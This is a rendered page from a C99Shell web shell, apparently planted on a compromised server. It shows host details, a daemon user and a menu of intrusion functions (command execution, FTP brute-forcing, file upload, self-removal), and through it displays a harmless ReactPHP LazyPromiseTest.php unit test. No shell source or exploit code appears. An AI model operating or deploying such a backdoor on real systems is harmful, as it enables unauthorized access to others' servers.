!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/react/promise/tests/   drwxrwxr-x
Free 15.68 GB of 61.93 GB (25.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     LazyPromiseTest.php (2.77 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace React\Promise;

use 
React\Promise\PromiseAdapter\CallbackPromiseAdapter;

class 
LazyPromiseTest extends TestCase
{
    use 
PromiseTest\FullTestTrait;

    public function 
getPromiseTestAdapter(callable $canceller null)
    {
        
$d = new Deferred($canceller);

        
$factory = function () use ($d) {
            return 
$d->promise();
        };

        return new 
CallbackPromiseAdapter([
            
'promise'  => function () use ($factory) {
                return new 
LazyPromise($factory);
            },
            
'resolve' => [$d'resolve'],
            
'reject'  => [$d'reject'],
            
'notify'  => [$d'progress'],
            
'settle'  => [$d'resolve'],
        ]);
    }

    
/** @test */
    
public function shouldNotCallFactoryIfThenIsNotInvoked()
    {
        
$factory $this->createCallableMock();
        
$factory
            
->expects($this->never())
            ->
method('__invoke');

        new 
LazyPromise($factory);
    }

    
/** @test */
    
public function shouldCallFactoryIfThenIsInvoked()
    {
        
$factory $this->createCallableMock();
        
$factory
            
->expects($this->once())
            ->
method('__invoke');

        
$p = new LazyPromise($factory);
        
$p->then();
    }

    
/** @test */
    
public function shouldReturnPromiseFromFactory()
    {
        
$factory $this->createCallableMock();
        
$factory
            
->expects($this->once())
            ->
method('__invoke')
            ->
will($this->returnValue(new FulfilledPromise(1)));

        
$onFulfilled $this->createCallableMock();
        
$onFulfilled
            
->expects($this->once())
            ->
method('__invoke')
            ->
with($this->identicalTo(1));

        
$p = new LazyPromise($factory);

        
$p->then($onFulfilled);
    }

    
/** @test */
    
public function shouldReturnPromiseIfFactoryReturnsNull()
    {
        
$factory $this->createCallableMock();
        
$factory
            
->expects($this->once())
            ->
method('__invoke')
            ->
will($this->returnValue(null));

        
$p = new LazyPromise($factory);
        
$this->assertInstanceOf('React\\Promise\\PromiseInterface'$p->then());
    }

    
/** @test */
    
public function shouldReturnRejectedPromiseIfFactoryThrowsException()
    {
        
$exception = new \Exception();

        
$factory $this->createCallableMock();
        
$factory
            
->expects($this->once())
            ->
method('__invoke')
            ->
will($this->throwException($exception));

        
$onRejected $this->createCallableMock();
        
$onRejected
            
->expects($this->once())
            ->
method('__invoke')
            ->
with($this->identicalTo($exception));

        
$p = new LazyPromise($factory);

        
$p->then($this->expectCallableNever(), $onRejected);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2983 ]--